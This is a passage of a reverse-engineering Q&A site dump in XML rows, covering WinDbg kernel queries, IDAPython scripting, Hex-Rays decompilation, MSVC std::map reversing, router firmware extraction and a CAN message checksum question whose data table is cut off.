  <row Id="16480" PostTypeId="1" CreationDate="2017-10-04T08:50:16.780" Score="2" ViewCount="276" Body="&lt;p&gt;I know that it exists gdb, but i'm talking about windows, i would like know if there is any way to see who access to current stackframe of a specified variable on an X subroutine...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i've tried using CE using the &quot;Find out what accesses this address&quot; option through the stackframe but the stackframe logically it's dynamic then i get over 2000 registers...&lt;/p&gt;&#xA;" OwnerUserId="17950" LastEditorUserId="17950" LastEditDate="2017-10-04T08:55:25.603" LastActivityDate="2017-10-06T16:19:49.003" Title="There is any way to see the subroutine local variables values and who actually access them?" Tags="|assembly|stack-variables|tracing|local-variables|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16482" PostTypeId="2" ParentId="16474" CreationDate="2017-10-04T18:12:54.427" Score="1" Body="&lt;p&gt;most of these structures can be queried with windbg  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are running in usermode ntdll.pdb has these type information &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you are running in kernelmode ntos/ntkr/ aka nt*.pdb  has these type information &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can use a tool like livekd from sysinternals along with windbg to do a &#xA;local kernel debugging session &lt;/p&gt;&#xA;&#xA;&lt;p&gt;following are output from livekd on a win7 x86 machine as far as possible &#xA;the commands are kept os / version agnostic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the current process can be queried as &lt;strong&gt;? @$proc&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ? @$proc&#xA;Evaluate expression: -2050188616 = 85cc9ab8&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the &lt;strong&gt;single question mark ?&lt;/strong&gt; represents masm expresssion evaluator &#xA;you can use &lt;strong&gt;?? question marks&lt;/strong&gt; to turn on c++ expression evaluator &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ?? @$proc-&amp;gt;UniqueProcessId&#xA;void * 0x00000538&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the above Current process pid is also represented by @$tpid&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ? @$tpid&#xA;Evaluate expression: 1336 = 00000538&#xA;kd&amp;gt; ?? @$tpid&#xA;unsigned int 0x538&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the pcr is represented by &lt;strong&gt;@$pcr&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can mix and match the expression evaluator the @@() lets you insert a c++ expression into a masm evaluation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ? @$pcr&#xA;Evaluate expression: -2097779712 = 82f66c00&#xA;kd&amp;gt; ?  @@(@$pcr-&amp;gt;PrcbData.CurrentThread)&#xA;Evaluate expression: -2048806120 = 85e1b318&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my system  PsGetCurrentProcess is as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; uf nt!PsGetCurrentThread&#xA;nt!PsGetCurrentThread:&#xA;82e72b99 64a124010000    mov     eax,dword ptr fs:[00000124h]&#xA;82e72b9f c3              ret&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can directly get the raw contents of this segment:offset &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ? poi(fs:00000124)&#xA;Evaluate expression: -2048806120 = 85e1b318&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the current thread is denoted by &lt;strong&gt;@$thread&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ? @$thread&#xA;Evaluate expression: -2048806120 = 85e1b318&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ApcState is not an array it is a structure &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ?? @$thread-&amp;gt;Tcb.ApcState&#xA;struct _KAPC_STATE&#xA;   +0x000 ApcListHead      : [2] _LIST_ENTRY [ 0x85e1b358 - 0x85e1b358 ]&#xA;   +0x010 Process          : 0x85cc9ab8 _KPROCESS&#xA;   +0x014 KernelApcInProgress : 0 ''&#xA;   +0x015 KernelApcPending : 0 ''&#xA;   +0x016 UserApcPending   : 0 ''&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can get the offset to Process mention in you post like this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ?? &amp;amp;(@$thread-&amp;gt;Tcb.ApcState.Process)&#xA;struct _KPROCESS ** 0x85e1b368&#xA;kd&amp;gt; ?? *(unsigned long *)&amp;amp;(@$thread-&amp;gt;Tcb.ApcState.Process)&#xA;unsigned long 0x85cc9ab8&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in my system PsGetCurrentProcss is as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; uf nt!PsGetCurrentProcess&#xA;nt!PsGetCurrentProcess:&#xA;82ec5fce 64a124010000    mov     eax,dword ptr fs:[00000124h]&#xA;82ec5fd4 8b4050          mov     eax,dword ptr [eax+50h]&#xA;82ec5fd7 c3              ret&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;raw query &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ? poi(30:124)&#xA;Evaluate expression: -2048806120 = 85e1b318&#xA;kd&amp;gt; ? poi(poi(30:124)+50)&#xA;Evaluate expression: -2050188616 = 85cc9ab8&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;expression query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; ? @@(@$prcb-&amp;gt;CurrentThread-&amp;gt;ApcState.Process)&#xA;Evaluate expression: -2050188616 = 85cc9ab8&#xA;kd&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2017-10-04T18:12:54.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16483" PostTypeId="1" AcceptedAnswerId="16485" CreationDate="2017-10-04T23:27:50.440" Score="1" ViewCount="2190" Body="&lt;p&gt;While using IDA Python for extract ARM instructions, I noticed that some instructions are not extracted completely. For example, conditional instructions such as &lt;code&gt;BCS&lt;/code&gt; or &lt;code&gt;BCC&lt;/code&gt; are printed as &lt;code&gt;B&lt;/code&gt;. For analyzing, it is necessary we have the instructions completely.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;import idc&#xA;import idaapi&#xA;for seg_ea in Segments():&#xA; for head in Heads(seg_ea, SegEnd(seg_ea)):&#xA;  if isCode(GetFlags(head)):&#xA;   disasm= GetMnem(head)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to correct this problem? &lt;/p&gt;&#xA;" OwnerUserId="21812" LastEditorUserId="60" LastEditDate="2017-10-05T09:51:44.187" LastActivityDate="2017-10-05T09:51:44.187" Title="Extract conditional instructions using IDA python in ARM binaries" Tags="|ida|idapython|arm|python|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16485" PostTypeId="2" ParentId="16483" CreationDate="2017-10-05T09:20:40.170" Score="3" Body="&lt;p&gt;I was able to reproduce your problem on &lt;em&gt;IDA 6.95&lt;/em&gt; but it seems like this bug was fixed in &lt;em&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/7.0/index.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA 7&lt;/a&gt;&lt;/em&gt; since it works for me just fine. The solution below will be relevant to IDA 6.95 though it would probably be valid to earlier versions of &lt;em&gt;IDA Pro&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start by describing the deadlock we're facing with:&lt;br&gt;&#xA;The problematic function, &lt;code&gt;GetMnem&lt;/code&gt;, is declared in &lt;code&gt;IDA 6.95\Python\idc.py:L2280&lt;/code&gt; and looks like this:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def GetMnem(ea):&#xA;    &quot;&quot;&quot;&#xA;    Get instruction mnemonics&#xA;&#xA;    @param ea: linear address of instruction&#xA;&#xA;    @return: &quot;&quot; - no instruction at the specified location&#xA;&#xA;    @note: this function may not return exactly the same mnemonics&#xA;    as you see on the screen.&#xA;    &quot;&quot;&quot;&#xA;    res = ida_ua.ua_mnem(ea)&#xA;&#xA;    if not res:&#xA;        return &quot;&quot;&#xA;    else:&#xA;        return res&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Pay attention to the following disclaimer in the function:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;@note: this function may not return exactly the same mnemonics as you see on the screen.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Seems like our problems fits the disclaimer -- we don't see the same mnemonics as we see on the screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;GetMnem&lt;/code&gt; is basically a wrapper to another function -- &lt;code&gt;ua_mnem&lt;/code&gt; which is declared in &lt;code&gt;IDA 6.95\Python\ida_ua.py:L319&lt;/code&gt;:&lt;br&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def ua_mnem(*args):&#xA;  &quot;&quot;&quot;&#xA;  ua_mnem(ea) -&amp;gt; char const *&#xA;  &quot;&quot;&quot;&#xA;  return _ida_ua.ua_mnem(*args)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well, seems like &lt;code&gt;ua_mnem&lt;/code&gt; is a wrapper to another function which is located in &lt;code&gt;IDA 6.95\python\lib\python2.7\lib-dynload\ida_64\_ida_ua.pyd&lt;/code&gt;. A &lt;code&gt;pyd&lt;/code&gt; file &lt;a href=&quot;https://docs.python.org/3/faq/windows.html#is-a-pyd-file-the-same-as-a-dll&quot; rel=&quot;nofollow noreferrer&quot;&gt;is actually a &lt;em&gt;DLL&lt;/em&gt; file&lt;/a&gt; and should not be easy-peasy to reverse. Therefore, we can't see, nor edit, the source code so we can't fix the problem.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here comes the workaround: instead of using &lt;code&gt;GetMnem&lt;/code&gt; you can simply mimic it by using &lt;code&gt;GetDisasm&lt;/code&gt; and split the line to get only the instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idautils&#xA;import idc&#xA;import idaapi&#xA;for seg_ea in Segments():&#xA; for head in Heads(seg_ea, SegEnd(seg_ea)):&#xA;  if isCode(GetFlags(head)):&#xA;    mnem = GetMnem(head)&#xA;    if (mnem[0]=='B'):&#xA;        mnem = GetDisasm(head).split()[0]&#xA;    print mnem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this case we check whether the mnemonics is a &lt;a href=&quot;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0231b/Chddgiff.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;branch instruction&lt;/a&gt; (begins with &quot;B&quot;) and if so, we use the mnemonics from &lt;code&gt;GetDisasm&lt;/code&gt; and not from &lt;code&gt;GetMnem&lt;/code&gt;. Of course you would need to test this solution better and maybe handle some specific cases.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2017-10-05T09:20:40.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16486" PostTypeId="1" CreationDate="2017-10-05T16:40:18.157" Score="3" ViewCount="2063" Body="&lt;p&gt;I have several binaries (Visual Studio 2005, amd64/x86_64) that I need a portion of each reversed in order to better understand the reasons for their malfunction in certain edge cases (they are long since unmaintained, there is nowhere to get support by now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These binaries do not make use of 3rd party libraries, only VC++ runtime and Win32 API and hence make heavy use of STL containers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was quite easy to create general-purpose IDA &lt;code&gt;struct&lt;/code&gt; definitions for things like &lt;code&gt;std::vector&lt;/code&gt; or &lt;code&gt;std::string&lt;/code&gt;. However, these binaries do have plenty of &lt;code&gt;std::map&lt;/code&gt; usages, and well, the way msvc generates assembly for &lt;code&gt;std::map&lt;/code&gt;s is particularly annoying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely, the whole binary is stuffed with countless methods to allocate map entries (one method per &lt;code&gt;map&amp;lt;k, v&amp;gt;&lt;/code&gt;), the entries all have different sizes, with the entry structure having the same few fields at the beginning and the end and a variable sized middle part. All the methods that are used on a particular map (e.g. &lt;code&gt;find&lt;/code&gt;) are thus then generated with regards to these entry types, so it is a huge pain to manage this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can infer the underlying logic in many cases where a map is being accessed, but I still would prefer to have a struct/many structs for better readability, preferably not needing to &lt;em&gt;manually&lt;/em&gt; define literally all of the different structs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone could share their own experience/findings related to reversing a large amount of &lt;code&gt;std::map&lt;/code&gt;s efficiently, that would be great.&lt;/p&gt;&#xA;" OwnerUserId="21854" LastEditorUserId="21854" LastEditDate="2017-10-05T18:28:16.787" LastActivityDate="2017-10-05T18:28:16.787" Title="STL map and map entry structures for IDA/HexRays" Tags="|ida|c++|hexrays|msvc|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16487" PostTypeId="1" CreationDate="2017-10-06T07:37:22.653" Score="1" ViewCount="4303" Body="&lt;p&gt;While using IDA Python and related code of idaapi, the processor type is not returned correctly. Specially we will have MetaPC instead of the exact processor type. &#xA;This is my code that I used it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;info = idaapi.get_inf_structure()&#xA;    print info.procName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to correct this problem??&lt;/p&gt;&#xA;" OwnerUserId="21812" LastActivityDate="2017-10-06T09:53:18.733" Title="Processor Type in IDA Python" Tags="|ida|idapython|python|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16488" PostTypeId="2" ParentId="16487" CreationDate="2017-10-06T09:53:18.733" Score="1" Body="&lt;p&gt;IDA can only know the actual processor type if the file format provides it (e.g. &lt;code&gt;e_machine&lt;/code&gt; value in the ELF header), or you specify it manually. If you pass a plain binary file, there's no way to for IDA detect the CPU so the default one (&quot;metapc&quot;) gets loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple solution is to specify the correct CPU type using the &lt;code&gt;-p&lt;/code&gt; &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/618.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;commandline switch&lt;/a&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ida -pmipsb -A -Sscript.py binary_file &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-06T09:53:18.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16489" PostTypeId="1" AcceptedAnswerId="16536" CreationDate="2017-10-06T13:35:27.433" Score="2" ViewCount="1700" Body="&lt;p&gt;There are different ways to identify the processor type such as using IDA or &lt;code&gt;file&lt;/code&gt;  command in Linux.  But sometimes the processor type is not detected by these tools. Besides I do not have the correct processor type of the binary. Is there any way to detect the correct type of processor?&lt;/p&gt;&#xA;" OwnerUserId="21812" LastEditorUserId="21812" LastEditDate="2017-10-14T10:50:45.677" LastActivityDate="2017-10-14T10:50:45.677" Title="Identify the porcessor type of a binary" Tags="|ida|idapython|ida-plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16490" PostTypeId="1" AcceptedAnswerId="16491" CreationDate="2017-10-06T14:17:52.313" Score="2" ViewCount="6516" Body="&lt;p&gt;If i have a large set of files and I'd like to run Hex-rays over them to produce output as C - can I do so in python?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I see there is IDA Python&lt;/li&gt;&#xA;&lt;li&gt;And I see Hex-rays has a C++ SDK&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there a python Hex-rays API?&lt;/p&gt;&#xA;" OwnerUserId="21098" LastActivityDate="2019-04-18T11:03:00.663" Title="How to decompile with Hex Rays via a Python API?" Tags="|ida|idapython|python|hexrays|idapro-sdk|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16491" PostTypeId="2" ParentId="16490" CreationDate="2017-10-06T15:57:49.047" Score="5" Body="&lt;p&gt;Yes. The newer versions of IDA has official bindings for the Hex-Rays decompiler.&lt;br&gt;&#xA;Originally, the Python bindings were written by &lt;a href=&quot;https://github.com/EiNSTeiN-/hexrays-python&quot; rel=&quot;nofollow noreferrer&quot;&gt;EiNSTeiN&lt;/a&gt; around the Hex-Rays Decompiler SDK API. Later it has been merged into IDAPython.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find the documentation under &quot;&lt;em&gt;ida_hexrays&lt;/em&gt;&quot; in the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDAPython docs&lt;/a&gt;.&lt;br&gt;&#xA;Examples can be found in IDAPython &lt;a href=&quot;https://github.com/idapython/src/tree/master/examples&quot; rel=&quot;nofollow noreferrer&quot;&gt;repository&lt;/a&gt;. Check the scripts which starting with &quot;&lt;em&gt;vds&lt;/em&gt;&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check &lt;a href=&quot;https://github.com/tintinweb/ida-batch_decompile&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Batch Decompile&lt;/a&gt; plugin which aims, as stated by the author, to batch decompile files in a folder:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;IDA Batch Decompile&lt;/em&gt; is a plugin for Hex-Ray's IDA Pro that adds the&#xA;  ability to batch decompile multiple files and their imports with&#xA;  additional annotations (xref, stack var size) to the pseudocode .c&#xA;  file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Notice that this is a work-in-progress project so you might encounter some bugs.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="13506" LastEditDate="2019-04-18T11:03:00.663" LastActivityDate="2019-04-18T11:03:00.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16492" PostTypeId="2" ParentId="16480" CreationDate="2017-10-06T16:19:49.003" Score="2" Body="&lt;p&gt;If you have a debugger with access to symbols, then you can run to the start of the function, and then place watches on the symbol names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the absence of a debugger, if you can hook the function itself, then one way to do it is this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;save the original few bytes in the routine, and install a hook;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;resume execution;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;when your hook code gains control, create a hardware breakpoint on the address(es) of interest, and an exception handler to receive notifications on access;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;set the stack parameters, etc, appropriate to call the original function at the point after your hook code (e.g. EIP+5).  Calling the function manually in this way will simplify the next step.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;when the function returns, remove the hardware breakpoint, clean the stack to remove the original invocation, and return to the caller.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-10-06T16:19:49.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16493" PostTypeId="2" ParentId="16472" CreationDate="2017-10-06T16:26:49.593" Score="0" Body="&lt;p&gt;If there is a break on access to the invalid memory, then you have the site of the accessing code.  Tracing backwards from there should yield the parameter that holds the start of the list.  Tracing forwards from there should show which of the nodes is corrupted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Failing that, it seems that you would need to modify the code of the iterating function to copy the previous node address to a &quot;safe&quot; location during iteration.  There are spare fields in the TEB, for example, that might be suitable.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-10-06T16:26:49.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16494" PostTypeId="1" AcceptedAnswerId="16504" CreationDate="2017-10-06T16:33:47.677" Score="0" ViewCount="1765" Body="&lt;p&gt;I am not sure if I am understanding the raw output of &lt;code&gt;dds esp&lt;/code&gt; or its 64-bit counterpart &lt;code&gt;dqs rsp&lt;/code&gt; properly. When I see a list of entries in the stack, I tend to assume that wherever I see return addresses, those are calls made by code that have not returned yet. IOW, stringing them together should form a nice call stack. (let's not bother with &lt;code&gt;k*&lt;/code&gt; group of Windbg commands for now.) Is that not the case always?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because there are some third party extensions, that operate on the &lt;code&gt;esp/rsp&lt;/code&gt; output and strings together the entries into something that appear to look like a call stack but I can't seem to match that order with what I see in the source (well, whatever source I have.) There are even entries of functions that have returned long ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK -- the third party extension I use does say:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Dumps (dps) from the stack limit the base only showing items that include the ! followed by +0x&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the question then becomes what &lt;em&gt;is&lt;/em&gt; that entry? I thought it was the return address of some function that is fixing to make a call into another function?&lt;/p&gt;&#xA;" OwnerUserId="15780" LastActivityDate="2017-10-09T19:51:14.737" Title="Understanding the output of Windbg's `dds esp`" Tags="|debugging|windbg|stack|callstack|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16495" PostTypeId="2" ParentId="16490" CreationDate="2017-10-06T16:33:52.300" Score="2" Body="&lt;p&gt;It depends on IDA version you're using.&#xA;Version 7.0 (and AFAIR version 6.9) has &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_hexrays-module.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ida_hexrays&lt;/a&gt; python module which has functions &lt;code&gt;decompile&lt;/code&gt; and &lt;code&gt;decompile_many&lt;/code&gt;. &#xA;If I remember it correctly the older IDA versions had these functions in &lt;code&gt;idaapi&lt;/code&gt; module and these functions already had been introduced in IDA 6.6.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-10-06T16:33:52.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16496" PostTypeId="2" ParentId="16454" CreationDate="2017-10-06T16:36:20.330" Score="-1" Body="&lt;p&gt;&lt;code&gt;syscall&lt;/code&gt; (created by AMD) and &lt;code&gt;sysenter&lt;/code&gt; (created by Intel) are competing implementations of fast switch-to-ring0 instructions.  For compatibility, x64 systems support both types.  That wasn't deemed to be necessary for 32-bit systems.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="245" LastEditDate="2023-12-19T10:29:15.353" LastActivityDate="2023-12-19T10:29:15.353" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16497" PostTypeId="2" ParentId="16494" CreationDate="2017-10-06T16:38:55.323" Score="3" Body="&lt;p&gt;The stack can be used to hold all kinds of values, including ones that look like return addresses but aren't.  If stack-frames are omitted, then it becomes very difficult to trace backwards without disassembling the function to see how it stores preserved values such as registers.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2017-10-06T16:38:55.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16498" PostTypeId="1" AcceptedAnswerId="16524" CreationDate="2017-10-06T20:56:49.800" Score="2" ViewCount="1774" Body="&lt;p&gt;Say I have the byte array &lt;code&gt;c1 83 2a 9e f9 ff ff ff&lt;/code&gt; (just an example) and I have no idea what the format is. It could be characters in ASCII, UTF-8, could be WORD/DWORD integers in Little or Big Endian, could be 2 floats or 1 double or just anything else. I feel like that would be a situation that occurred extremely often to every reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Is there a commonly used approach for that kind of problem? Most likely a command line tool that takes the array and displays it in all the different possible representations? Or do people just rely on the given representations of the programs they currently use (ollydbg, cheat engine, hex editor or what ever they happen to use)?&lt;/p&gt;&#xA;" OwnerUserId="21866" LastActivityDate="2017-10-10T11:41:42.747" Title="How do reverse engineers commonly detect the format of binary data?" Tags="|tools|binary-format|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16500" PostTypeId="2" ParentId="16290" CreationDate="2017-10-06T22:29:05.710" Score="2" Body="&lt;p&gt;I have been reverse engineering ZTE Speedport Entry 2i for some time. Mostly trying to decode config (in &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11626/zte-encrypted-backup-config-file&quot;&gt;ZTE encrypted backup config file&lt;/a&gt;) Honestly I didn't manage to find any firmware image on the Internet. This device is sold only as CPE to ISPs so I would really like to know where did you find that binary blob. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked your files, didn't manage to get anything from them unfortunately. My guess (and it's really just a guess) is that it may contain filesystem but since it's Chinese device the FS may be something proprietary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The device has Broadcom BCM6338 so it's MIPS architecture. On the board you can notice 4 not mounted pins. You'll have to solder the pins there probably. I assumed this is UART, unfortunately it doesn't seem to work, when I connected to it before powering up, the device won't even start. If connected when powered up, nothing gets transmitted. The pins are connected to pins marked as TEST on the PCB. As Gogeta70 mentioned, using bus pirate with SPI sniffer it's possible to read FW from Flash. Device has GD5F1GQ4UAYIG NAND Flash memory (at least mine has). I'll update when my bus pirate arrives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is picture of the PCB, for anyone interested. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/VnyJL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VnyJL.jpg&quot; alt=&quot;Speedport Entry 2i PCB&quot;&gt;&lt;/a&gt;  &lt;/p&gt;&#xA;" OwnerUserId="14507" LastActivityDate="2017-10-06T22:29:05.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16501" PostTypeId="2" ParentId="16472" CreationDate="2017-10-06T23:00:17.267" Score="0" Body="&lt;p&gt;If you can predict the address being overwritten ahead of time, try setting a hardware breakpoint on it. You can also try a dynamic tracer such as PIN which usually has only minor slowdown. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-10-06T23:00:17.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16502" PostTypeId="1" CreationDate="2017-10-07T00:45:07.777" Score="0" ViewCount="938" Body="&lt;p&gt;I'm trying to fake a CAN message, but I'm not able to understand how the 8-bit checksum is calculated. The checksum follows a pattern along with a 4-bit rolling counter. As long as the data of the message is static, the pattern is repeating every 16 messages. The mean value of the checksum of 16 messages is 127.5. That is more or less what I have been able to figure out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you make any sense of it / see how the checksum is calculated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00  00  47&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  cd&#xA;51  84  34&#xA;51  85  78&#xA;51  86  ac&#xA;51  87  e0&#xA;51  88  43&#xA;51  89  0f&#xA;51  8a  db&#xA;51  8b  97&#xA;51  8c  6e&#xA;51  8d  22&#xA;51  8e  f6&#xA;51  8f  ba&#xA;51  80  19&#xA;51  81  55&#xA;51  82  81&#xA;51  83  